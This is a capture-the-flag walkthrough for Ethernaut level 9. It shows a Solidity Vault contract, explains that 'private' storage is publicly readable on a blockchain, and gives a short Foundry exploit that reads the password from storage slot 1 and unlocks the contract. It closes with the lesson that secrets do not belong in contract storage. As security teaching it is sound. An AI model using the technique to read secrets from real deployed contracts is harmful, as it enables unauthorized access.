CTF walkthrough, Ethernaut, #9 Vault

We need to unlock the Vault smart contract to pass the level.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) public {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

Analysis

Let’s look at the state variables:

bool public locked;
bytes32 private password;

In EVM storage is a key-value store that maps 256-bit words to 256-bit words and is accessed with EVM’s SSTORE~/~SLOAD instructions.

The private visibility modifier means that other contracts can’t read the password state variable directly. But all storage variables of any contract are visible to anyone because everything on a blockchain is public.

Exploit

In the foundry we use wm.load to load the password value from the storage slot. The bytes32 takes the whole slot, hence we want to access the slot with index 1. Then we just unlock the Vault with that password:

function exploit() internal override {
    vm.startPrank(player);
    bytes32 password = vm.load(address(level), bytes32(uint256(1)));
    level.unlock(password);
    vm.stopPrank();
}

Summary

Do not store any sensitive info “as is” a smart contract’s storage. Anyone can read contract state and incorrect assumptions about privacy aspects of data or transactions can be abused which may lead to security issues.

References


The full code is here. Thank you for reading and let’s move on to the next challenge: CTF walkthrough, Ethernaut, #10 King!